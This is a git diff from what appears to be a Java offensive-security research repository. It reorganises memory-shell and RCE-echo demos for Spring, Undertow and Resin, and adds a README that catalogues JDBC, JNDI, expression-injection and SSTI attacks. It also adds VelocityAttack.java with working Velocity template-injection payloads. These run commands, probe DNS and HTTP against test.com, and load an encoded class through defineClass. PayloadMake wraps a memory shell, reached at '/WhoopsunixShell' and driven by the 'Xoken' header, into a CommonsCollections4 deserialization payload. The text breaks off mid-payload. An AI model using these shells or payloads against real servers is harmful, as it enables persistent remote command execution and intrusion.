SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/utils/PayloadMake.java index 6696da7..34ce36a 100644 --- a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/utils/PayloadMake.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/utils/PayloadMake.java @@ -4,7 +4,7 @@ import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; import org.example.resin.memshell.ResinServletExecMS; -import org.ppp.tools.ser.CC4Generator; +import com.ppp.tools.ser.CC4Generator; import java.util.ArrayList; import java.util.List; @@ -22,15 +22,15 @@ public static void cc4() throws Exception { CC4Generator cc4Generator = new CC4Generator(); String payload = cc4Generator.make(ResinServletExecMS.class); System.out.println(payload.length()); - cc4Generator.makeFile(ResinServletExecMS.class, "cc4.bin"); + cc4Generator.makeFile(ResinServletExecMS.class, "dev/result.bin"); } public void searchResin() { //设置搜索类型包含Request关键字的对象 - List keys = new ArrayList<>(); + List keys = new ArrayList(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 - List blacklists = new ArrayList<>(); + List blacklists = new ArrayList(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); diff --git a/MemShellAndRceEcho/ResinDemo/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/webapp/WEB-INF/web.xml similarity index 100% rename from MemShellAndRceEcho/ResinDemo/src/main/webapp/WEB-INF/web.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/webapp/WEB-INF/web.xml diff --git a/MemShellAndRceEcho/SpringDemo/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/pom.xml similarity index 95% rename from MemShellAndRceEcho/SpringDemo/pom.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/pom.xml index d08521e..c9843c4 100644 --- a/MemShellAndRceEcho/SpringDemo/pom.xml +++ b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/pom.xml @@ -34,9 +34,9 @@ - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 diff --git a/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/DeserializationController.java b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/DeserializationController.java similarity index 100% rename from MemShellAndRceEcho/SpringDemo/src/main/java/com/example/DeserializationController.java rename to SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/DeserializationController.java diff --git a/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/SpringMemShellApplication.java b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/SpringMemShellApplication.java similarity index 100% rename from MemShellAndRceEcho/SpringDemo/src/main/java/com/example/SpringMemShellApplication.java rename to SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/SpringMemShellApplication.java diff --git a/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/echo/SpringEcho.java b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/echo/SpringEcho.java similarity index 97% rename from MemShellAndRceEcho/SpringDemo/src/main/java/com/example/echo/SpringEcho.java rename to SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/echo/SpringEcho.java index 651ed10..c0d18b5 100644 --- a/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/echo/SpringEcho.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/echo/SpringEcho.java @@ -8,7 +8,7 @@ * [2.2.x, 2.7.x] */ public class SpringEcho { - public static String HEADER = "X-Token"; + public static String HEADER = "Xoken"; static { try { diff --git a/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/memshell/SpringControllerMemShell.java b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/memshell/SpringControllerMemShell.java similarity index 94% rename from MemShellAndRceEcho/SpringDemo/src/main/java/com/example/memshell/SpringControllerMemShell.java rename to SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/memshell/SpringControllerMemShell.java index d814b37..9f71121 100644 --- a/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/memshell/SpringControllerMemShell.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/memshell/SpringControllerMemShell.java @@ -24,7 +24,7 @@ public class SpringControllerMemShell { private static String PATTERN = "/WhoopsunixShell"; private static String NAME = "Whoopsunix"; - private static String HEADER = "X-Token"; + private static String HEADER = "Xoken"; public SpringControllerMemShell(String s) { } @@ -46,7 +46,7 @@ public SpringControllerMemShell() { List urls = new ArrayList(); while (urlIterator.hasNext()) { String urlPath = (String) urlIterator.next(); - if (PATTERN.equals(urlPath)) { + if (NAME.equals(urlPath)) { return; } } @@ -57,6 +57,9 @@ public SpringControllerMemShell() { configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration)configField.get(mapping); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(new String[]{PATTERN}).options(config).build(); + Field field1 = requestMappingInfo.getClass().getDeclaredField("name"); + field1.setAccessible(true); + field1.set(requestMappingInfo, NAME); // 避免循环 SpringControllerMemShell springControllerMemShell = new SpringControllerMemShell(NAME); diff --git a/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/utils/PayloadMake.java similarity index 75% rename from MemShellAndRceEcho/SpringDemo/src/main/java/com/example/utils/PayloadMake.java rename to SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/utils/PayloadMake.java index ad7b09b..cdf7327 100644 --- a/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/utils/PayloadMake.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/java/com/example/utils/PayloadMake.java @@ -1,16 +1,14 @@ package com.example.utils; -import com.example.echo.SpringEcho; import com.example.memshell.SpringControllerMemShell; -import com.thoughtworks.xstream.XStream; -import org.ppp.tools.ser.CC4Generator; +import com.ppp.tools.ser.CC4Generator; /** * @author Whoopsunix */ public class PayloadMake { public static void main(String[] args) throws Exception{ - Class cls = SpringEcho.class; + Class cls = SpringControllerMemShell.class; CC4Generator cc4Generator = new CC4Generator(); String payload = cc4Generator.make(cls); System.out.println(payload.length()); diff --git a/MemShellAndRceEcho/SpringDemo/src/main/resources/application.properties b/SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/resources/application.properties similarity index 100% rename from MemShellAndRceEcho/SpringDemo/src/main/resources/application.properties rename to SecVulns/VulnCore/MemShellAndRceEcho/SpringDemo/src/main/resources/application.properties diff --git a/MemShellAndRceEcho/UndertowDemo/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/pom.xml similarity index 95% rename from MemShellAndRceEcho/UndertowDemo/pom.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/pom.xml index d372b3c..f9394eb 100644 --- a/MemShellAndRceEcho/UndertowDemo/pom.xml +++ b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/pom.xml @@ -44,9 +44,9 @@ - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 diff --git a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/DeserializationController.java b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/DeserializationController.java similarity index 100% rename from MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/DeserializationController.java rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/DeserializationController.java diff --git a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/UndertowMemShellApplication.java b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/UndertowMemShellApplication.java similarity index 100% rename from MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/UndertowMemShellApplication.java rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/UndertowMemShellApplication.java diff --git a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/echo/UndertowEcho.java b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/echo/UndertowEcho.java similarity index 97% rename from MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/echo/UndertowEcho.java rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/echo/UndertowEcho.java index ecb623a..d20a62f 100644 --- a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/echo/UndertowEcho.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/echo/UndertowEcho.java @@ -26,7 +26,7 @@ public class UndertowEcho { if (value.getClass().getName().equals("io.undertow.servlet.handlers.ServletRequestContext")) { Object request = getFieldValue(value, "originalRequest"); Object response = getFieldValue(value, "originalResponse"); - String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, "X-Token"); + String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, "Xoken"); String result = exec(header); Object writer = response.getClass().getDeclaredMethod("getWriter").invoke(response); diff --git a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowFilterExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowFilterExecMS.java similarity index 99% rename from MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowFilterExecMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowFilterExecMS.java index fcae4e0..040d6bb 100644 --- a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowFilterExecMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowFilterExecMS.java @@ -14,7 +14,7 @@ public class UndertowFilterExecMS implements Filter { private static String NAME = "Whoopsunix"; private static String PATTERN = "/WhoopsunixShell"; - private static String HEADER = "X-Token"; + private static String HEADER = "Xoken"; static { try { diff --git a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowListenerExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowListenerExecMS.java similarity index 97% rename from MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowListenerExecMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowListenerExecMS.java index f4ad7dd..e924435 100644 --- a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowListenerExecMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowListenerExecMS.java @@ -17,7 +17,7 @@ * 2.7.15 */ public class UndertowListenerExecMS implements ServletRequestListener { - private static String header = "X-Token"; + private static String header = "Xoken"; static { try { @@ -114,7 +114,7 @@ public HttpServletResponse getResponse(Object httpServletRequest) { Object table = tables[i]; if (table == null) continue; - if (table.getClass().getName().equals("io.undertow.servlet.handlers.ServletRequestContext")) { + if (table.getClass().getName().equals("io.undertow.servlet.handlers.ServletRequestContext")) { httpServletResponse = (HttpServletResponse) getFieldValue(table, "originalResponse"); break; } diff --git a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowServletExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowServletExecMS.java similarity index 99% rename from MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowServletExecMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowServletExecMS.java index 8ae8b2e..3f4a676 100644 --- a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowServletExecMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/memshell/UndertowServletExecMS.java @@ -17,7 +17,7 @@ public class UndertowServletExecMS implements Servlet { private static String NAME = "Whoopsunix"; private static String PATTERN = "/WhoopsunixShell"; - private static String HEADER = "X-Token"; + private static String HEADER = "Xoken"; static { diff --git a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/utils/PayloadMake.java similarity index 91% rename from MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/utils/PayloadMake.java rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/utils/PayloadMake.java index edf7dad..25601e6 100644 --- a/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/utils/PayloadMake.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/java/com/example/undertow/utils/PayloadMake.java @@ -4,7 +4,7 @@ import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; -import org.ppp.tools.ser.CC4Generator; +import com.ppp.tools.ser.CC4Generator; import java.util.ArrayList; import java.util.List; @@ -27,10 +27,10 @@ public static void cc4() throws Exception { public void searchUndertow() { //设置搜索类型包含Request关键字的对象 - List keys = new ArrayList<>(); + List keys = new ArrayList(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 - List blacklists = new ArrayList<>(); + List blacklists = new ArrayList(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); diff --git a/MemShellAndRceEcho/UndertowDemo/src/main/resources/application.yml b/SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/resources/application.yml similarity index 100% rename from MemShellAndRceEcho/UndertowDemo/src/main/resources/application.yml rename to SecVulns/VulnCore/MemShellAndRceEcho/UndertowDemo/src/main/resources/application.yml diff --git a/MemShellAndRceEcho/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/pom.xml similarity index 88% rename from MemShellAndRceEcho/pom.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/pom.xml index cbda4fa..eedac26 100644 --- a/MemShellAndRceEcho/pom.xml +++ b/SecVulns/VulnCore/MemShellAndRceEcho/pom.xml @@ -4,7 +4,7 @@ org.example MemShellAndRceEcho - 1.0-SNAPSHOT + 1.0 pom MemShellAndRceEcho @@ -14,8 +14,10 @@ SpringDemo UndertowDemo ResinDemo - JettyDemo + JavaxJettyDemo + JakartaJettyDemo OSEcho + LowTomcatDemo diff --git a/SecVulns/VulnCore/README.md b/SecVulns/VulnCore/README.md new file mode 100644 index 0000000..216b747 --- /dev/null +++ b/SecVulns/VulnCore/README.md @@ -0,0 +1,276 @@ +# VulnCore + +## [代码执行](Code) + +- ScriptEngine +- Groovy + +## [命令执行](Command) + +> 命令执行方式参考 [javaweb-sec](https://github.com/javaweb-sec/javaweb-sec) 项目复现 +> +> - Runtime +> - ProcessBuilder +> - ProcessImpl +> - ProcessImpl & UnixProcess +> - ProcessImpl & UnixProcess by unsafe - Native +> - Thread +> - jni +> +> InputStream 处理 +> +> - java.lang.StringBuilder +> - java.io.ByteArrayOutputStream +> - java.util.Scanner +> - java.io.BufferedReader +> - java.io.InputStream.readNBytes > JDK 9 +> - org.springframework:spring-core +> - org.apache.commons:commons-io + +## [Expression inject](Expression) + +> [OGNL](Expression/OGNLAttack) +> +> - 普通执行demo、jsEngine:get、set方式 +> - 有sout的回显 (Ps. 通过 Servlet 的回显移到 RceEcho 章节介绍) +> - 明文 +> - 套一层base64加密 +> - 探测用Payload +> - DNSLOG、HTTPLOG +> - 延时 +> +> +> +> [EL](Expression/ELAttack) +> +> - Exec 回显 +> - 一句话回显 https://forum.butian.net/share/886 +> - jsEngine 回显 +> - Scriptlet 标记写法(放在这里对照) +> +> +> +> [SPEL](Expression/SPELAttack) +> +> - Exec 回显 +> - 探测用Payload +> - DNSLOG、HTTPLOG +> - 延时 +> - 字节码加载 +> - JDK 高版本加载 +> +> +> +> [JxPath](Expression/JxPathAttack) +> +> - Exec +> - js +> +> +> +> [MVEL](Expression/MVELAttack) +> +> - Exec +> +> +> +> [JEXL](Expression/JEXLAttack) +> +> - Exec +> +> +> +> [Aviator](Expression/AviatorAttack) +> +> + Exec +> + BCEL + +## [JDBC Attack](JDBCAttack) + +JDBC 序列化的知识可以参考这些项目 [JDBC-Attack](https://github.com/su18/JDBC-Attack) 、[pyn3rd blog](https://pyn3rd.github.io/) 、[A New Attack Interface In Java Applications](https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf) 、 [Deserial_Sink_With_JDBC](https://github.com/luelueking/Deserial_Sink_With_JDBC) + +> - Mysql +> - 文件读取 +> - 反序列化 +> - statementInterceptors、detectCustomCollations +> - PostgreSQL +> - CVE-2022-21724 RCE +> - AbstractXmlApplicationContext 实现类 +> - 文件写入 +> - loggerLevel / loggerFile +> - 原始方式写入 EL +> - 截断方式写入 jsp +> - H2database +> - RUNSCRIPT 远程sql加载 +> - 代码执行 +> - INIT转义分号 +> - TriggerJS +> - Groovy +> - IBMDB2 +> - JNDI +> - ModeShape +> - JNDI +> - Apache Derby +> - Serialize +> - Sqlite +> - RCE +> - dameng 达梦 +> - JDNI +> - Oracle +> - JNDI +> - teradata +> - JDBC RCE + +## [JNDI](JNDIAttack) + +> - RMI 分析配置代码 +> - JNDI 代码 +> - LocalBeanFactory +> - LocalJDBC +> - LocalServiceFactory +> - LocalXXERCE + +## [Serialization](Serialization) + +### [Class load](Serialization/ClassLoad) + +> - AppClassLoader +> - URLCLassLoader +> - BCEL +> - TransletClassLoader +> - Unsafe +> - ReflectUtils +> - RhinoClassloader +> - ScriptEngineDemo + +### [XMLSerialization](Serialization/XMLSerialization) + +> [JarBean](Serialization/XMLSerialization/JavaBean) +> +> - 命令执行 Runtime、ProcessBuilder、js +> - 探测用Payload +> - DNSLOG、SOCKETLOG +> - 延时 +> - JNDI +> - BCEL +> - RemoteJar +> +> +> +> XStream +> +> 主要为 CVE 不具体展开,<= 1.4.17 的生成集成在 yso 项目中 + +### [ConstructorEXP](Serialization/ConstructorEXP) + +通过构造方法触发RCE + +- xml + +### [Snakeyaml](Serialization/SnakeyamlDemo) + +> - ScriptEngineManager +> - c3p0 + + + +## [文件操作](FilesOperations) + +可用的文件读写方法,即 Java 数据流的各种操作方法。上传、删除、路径遍历等。 + + + +## [XXE](XXE) + +测试 JDK 原生的 XXE Demo 时最好将 pom 引入的依赖注释掉,idea 调试时容易出问题进不到想要的 hook 点。提供的 demo 都具备回显 + + + +## [SSTI](SSTI) + +- freeMarker +- thymeleaf +- Velocity + + + +## [RceEcho & MemShell](MemShellAndRceEcho) + +减少重复代码,目前已移到 [PPPYSO](https://github.com/Whoopsunix/PPPYSO) 项目中更新。 + +命令执行回显目前是通过 [java-object-searcher](https://github.com/c0ny1/java-object-searcher) 工具写的,版本适配还没做,之后再优化,本项目主要给出反序列化 demo,jsp 的例子可以参考 [Java-Rce-Echo](https://github.com/feihong-cs/Java-Rce-Echo)。 + +对于内存马来说,请求处理接口 Servlet、Filter、Listener、Value 之类的请求处理接口都是通用的,变的其实是获取不同组件上下文的方式,因此可以将代码抽象为 注入器+功能实现 两部分来实现内存马,见工具化的代码。 + +反序列化的测试可以直接用 Rest Client [MemShell.http](JavaClass.http) 发包,比较方便。 + +### Tomcat + +内存马这部分知识点推荐看 [beichen 师傅的内存马Demo](https://github.com/BeichenDream/GodzillaMemoryShellProject) 写的很好,用到了动态代理的方式实现功能,很好的兼容了 javax 和 jakarta api 规范。 + +| Tomcat | | | +| ---------- | ------ | -------- | +| 内存马类型 | Loader | 测试版本 | +| Filter | Thread | 6 7 8 9 | +| | JMX | 7 8 9 | +| | WebApp | 8 9 | +| Servlet | Thread | 7 8 9 | +| | JMX | 7 8 9 | +| | WebApp | 8 9 | +| Listener | Thread | 6-11 | +| | JMX | 7 8 9 | +| | WebApp | 8 9 | +| Executor | Thread | 8 | +| Valve | Thread | 8 | +| | | | +| RceEcho | Thread | | + +### Spring + +| Springboot2 | | | +| ----------- | --------------------- | -------------- | +| 内存马类型 | Loader | 测试版本 | +| Controller | WebApplicationContext | [2.2.x, 2.7.x] | +| | | | +| RceEcho | WebApplicationContext | [2.2.x, 2.7.x] | + +### Jetty + +| Jetty | | | +| ------- | ------ | -------------------------------- | +| RceEcho | Thread | 7.x、8.x、9.x、10.x 、11.x全版本 | + +### Undertow + +WildFly 默认容器用的 Undertow + +| Undertow | | | +| ---------- | ------ | ------------ | +| 内存马类型 | Loader | 测试版本 | +| Listener | Thread | 2.2.25.Final | +| Filter | Thread | 2.2.25.Final | +| Servlet | Thread | 2.2.25.Final | +| | | | +| RceEcho | Thread | 2.2.25.Final | + +### Resin + +| Resin | | | +| ---------- | ------ | ---------------- | +| 内存马类型 | Loader | 测试版本 | +| Listener | Thread | [4.0.52, 4.0.66] | +| Servlet | Thread | [4.0.52, 4.0.66] | +| Filter | Thread | [4.0.52, 4.0.66] | +| | | | +| RceEcho | Thread | [4.0.52, 4.0.66] | + +### OSEcho + +- windows +- linux + +# Stats + +![Alt](https://repobeats.axiom.co/api/embed/818a4d2c0d1562eec751b2637b825b3b0d2cf0e3.svg "Repobeats analytics image") + +[//]: # ([![Stargazers over time](https://starchart.cc/Whoopsunix/JavaRce.svg)](https://starchart.cc/Whoopsunix/JavaRce)) diff --git a/SecVulns/VulnCore/SSRF/pom.xml b/SecVulns/VulnCore/SSRF/pom.xml new file mode 100644 index 0000000..979782b --- /dev/null +++ b/SecVulns/VulnCore/SSRF/pom.xml @@ -0,0 +1,28 @@ + + 4.0.0 + + com.ppp + SSRF + 1.0 + jar + + SSRF + + + UTF-8 + + + + + org.apache.httpcomponents + httpclient + 4.5.13 + + + com.squareup.okhttp3 + okhttp + 3.14.9 + + + diff --git a/SecVulns/VulnCore/SSRF/src/main/java/com/ppp/SSRFAttack.java b/SecVulns/VulnCore/SSRF/src/main/java/com/ppp/SSRFAttack.java new file mode 100644 index 0000000..b64cfe2 --- /dev/null +++ b/SecVulns/VulnCore/SSRF/src/main/java/com/ppp/SSRFAttack.java @@ -0,0 +1,64 @@ +package com.ppp; + + +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import org.apache.http.HttpEntity; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClients; + +import java.net.HttpURLConnection; +import java.net.URI; +import java.net.URL; + +/** + * @author Whoopsunix + */ +public class SSRFAttack { + public static void main(String[] args) throws Exception { + String url = "http://baidu.com"; +// URLConnection(url); + httpClient(url); +// okhttp(url); +// test(url); + } + + public static Object URLConnection(String u) throws Exception { + URL url = new URL(u); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setConnectTimeout(3000); // 设置连接超时时间为3秒 + connection.setReadTimeout(5000); // 设置读取超时时间为5秒 + connection.connect(); + return connection.getResponseCode(); + } + + // org.apache.http.impl.conn.DefaultHttpClientConnectionOperator.connect + public static Object httpClient(String u) throws Exception { + CloseableHttpClient aDefault = HttpClients.createDefault(); + HttpGet httpGet = new HttpGet(u); + CloseableHttpResponse response = aDefault.execute(httpGet); + HttpEntity entity = response.getEntity(); + + return response.getStatusLine(); + } + + public static Object okhttp(String u) throws Exception { + OkHttpClient client = new OkHttpClient(); + Request request = new Request.Builder() + .url(u) + .build(); + Response response = client.newCall(request).execute(); + return response.code(); + } + + + public static void test(String u) throws Exception { + new URI(u); + } + + + +} diff --git a/SecVulns/VulnCore/SSTI/Velocity/pom.xml b/SecVulns/VulnCore/SSTI/Velocity/pom.xml new file mode 100644 index 0000000..1a46210 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/Velocity/pom.xml @@ -0,0 +1,23 @@ + + 4.0.0 + + com.ppp + Velocity + 1.0 + jar + + Velocity + + + UTF-8 + + + + + org.apache.velocity + velocity + 1.7 + + + diff --git a/SecVulns/VulnCore/SSTI/Velocity/src/main/java/com/ppp/VelocityAttack.java b/SecVulns/VulnCore/SSTI/Velocity/src/main/java/com/ppp/VelocityAttack.java new file mode 100644 index 0000000..af6f8dc --- /dev/null +++ b/SecVulns/VulnCore/SSTI/Velocity/src/main/java/com/ppp/VelocityAttack.java @@ -0,0 +1,66 @@ +package com.ppp; + +import org.apache.velocity.VelocityContext; +import org.apache.velocity.app.Velocity; + +import java.io.StringWriter; + +/** + * @author Whoopsunix + */ +public class VelocityAttack { + public static void main(String[] args) { + // exec + String exec1 = "#set($p='')$p.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('open -a Calculator.app')"; + String exec2 = "#set($p='')$p.class.forName('java.lang.Runtime').getRuntime().exec('open -a Calculator.app')"; + // 回显 + // https://github.com/woodpecker-appstore/jexpr-encoder-utils + String exec3 = "#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('whoami')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"; + String exec4 = "#set($x='') $x.class.forName('javax.script.ScriptEngineManager').declaredConstructors[0].newInstance().getEngineByName('js').eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"whoami\").getInputStream()).useDelimiter(\"\\\\A\").next();')"; + + // dns + String dns = "#set($x='') $x.class.forName('java.net.InetAddress').getByName('test.com')"; + + // http + String http = "#set($x='') $x.class.forName('java.net.URL').declaredConstructors[2].newInstance('http://test.com').getContent()"; + + // 1s + String sleep = "#set($x='') $x.class.forName('java.lang.Thread').sleep(1000)"; + + + // loadClass todo + + /** + * [+] 反射方案(该方案注射语句仅可执行一次,第二次需使用实例化语句【后附】):==> + * #set($x='-1rejpalkaihptukadjofpq4477jth2y9adxdj523l49dm7cwmb9owj7jzk9dmjllo7pua6cdyzg0kco2dpd10n4po1jvq08m9fd9eg7tf1zuxa5tupl2p1fagk1y8ymanwxm2jaq0ftg0hwywt816olbz124qfpl9cp3wksmr09fnx4gk9gghaslerw3wm854xqedf4d1qrexcdbfmo80scb3r6od63srz5v86ls55gibc79mvivqqsnh0jhixg00db3j1cnkjb25j8jfr9askci4ke36qp40ikge9lluop7cgucfri3i5kugxsp7nw66y133o6wy9b1uoqy9f7qkdxgmehydlgfq4okv2slddobttzm3kxyyyugwntfihfypigq1i2mvo44px2qi8j8m3jjk5rbkot9w5c28jmjfjqsgxjgduwo119y9ju3i5yw4cmq34y3rfzh5245qqfj92qm9o5vzuzquoxnxat4qm9t29g3i68inmxlcfvy3er65gql7gwexvki6m7gz0ykf4u85zkv7zjqcbsoc9sj2gi45t8bq73x1m3ualaw4ooibjasuschoz4vc18jgyk0ygwp1ia2e4bboov1cw0io28yd4h6ncpt5dzqnake9i8xuq4efovis8q1fkusni2dgren4hz2tboqjct52q96xpc8rcp76uanzs8eoiw8gxdsfp0yxmy5ij9894u94821su6eyp3deqysplsh66kqeyybpncqwl02gg0gck7k2hh5l4qlsh3j08xxog2godqtibnjzfcro5mbhs5ed1pksq3oz5m59jm96nlfidmzf78gscd7edfogcekmoidzpvjw1en7zf82fkzu6p9ng2xkb90ot8fz5foo6bt6hfdz98vwfy6oxp20iech2mqcoffw0mvy7jkqb50j3lxomwputang2lavxhynf3a4d425qbhei9s3utidj91pgl2svue0r7tmve7kexv4dg5ml1ineaowagcn6favzes66lzrduk9706f51a1ergnqmihbnkvyej') #set($ic=$x.class.forName("java.lang.Integer")) #set($cl=$x.class.forName("java.lang.ClassLoader")) #set($m1=$cl.getDeclaredMethod("defineClass", $x.bytes.class, $ic.getField("TYPE").get(1),$ic.getField("TYPE").get(1))) $m1.setAccessible(true) #set($cb=$x.class.forName("java.math.BigInteger").getConstructor($x.class, $ic.getField("TYPE").get(1)).newInstance($x,36).toByteArray()) $m1.invoke($x.class.forName("java.lang.Thread").currentThread().getContextClassLoader(), $cb, 0, 677).newInstance() + * <== + * [+] 实例化语句:==> + * #set($x='') $x.class.forName('jndi.Exec').newInstance() + * <== + * + * [+] JS-BASE64方案:==> + * #set($x='') $x.class.forName('javax.script.ScriptEngineManager').declaredConstructors[0].newInstance().getEngineByName('js').eval('var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass(''jndi.Exec'').newInstance();}catch (e){var clsString = classLoader.loadClass(''java.lang.String'');var bytecodeBase64 = 